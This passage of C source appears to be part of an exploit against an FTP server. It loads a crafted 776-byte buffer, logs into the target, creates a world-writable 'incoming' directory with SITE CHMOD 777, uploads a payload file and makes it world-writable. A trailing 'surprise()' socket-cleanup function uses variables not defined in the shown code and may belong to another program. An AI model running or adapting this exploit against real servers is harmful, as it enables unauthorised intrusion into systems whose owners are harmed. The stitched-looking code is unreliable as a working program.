	"\x01\x00\x00\x00\x00\x00\x00\x00";

	strcpy(filename, "aa");
	memset(exploitBuf,0,777);
	memcpy(exploitBuf, haggis_magic_buffer, 776);
	exploitBufLen=776;
	if((controlSock=connect_to_server(ftpPort))==FAILURE) {
		printf("[-] Could not connect to target server\n");
		return 1;
	}
	login_to_server();
	my_send(controlSock, "MKD incoming\r\n");
	my_recv(controlSock);
	my_send(controlSock, "SITE CHMOD 777 incoming\r\n");
	my_recv(controlSock);
	my_send(controlSock, "CWD incoming\r\n");
	my_recv(controlSock);
	set_passive_mode(UPLOAD);
	upload_file();
	my_send(controlSock, "SITE CHMOD 777 aa\r\n");
	close(controlSock);
}

// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n) {
	struct timespec t;

	t.tv_sec=0;
	t.tv_nsec=n;
	nanosleep(&t,&t);
}

void surprise()
{
  if (run) {
    for(i=0;i<count;i++)
    {
	if(s[i].state != CLSD)	{
           fcntl(s[i].s,F_SETFL,O_RDWR);
           close(s[i].s);
	}
    }
  }
  printf("\n[~] Exiting...\n");
  exit(0);
  return;
}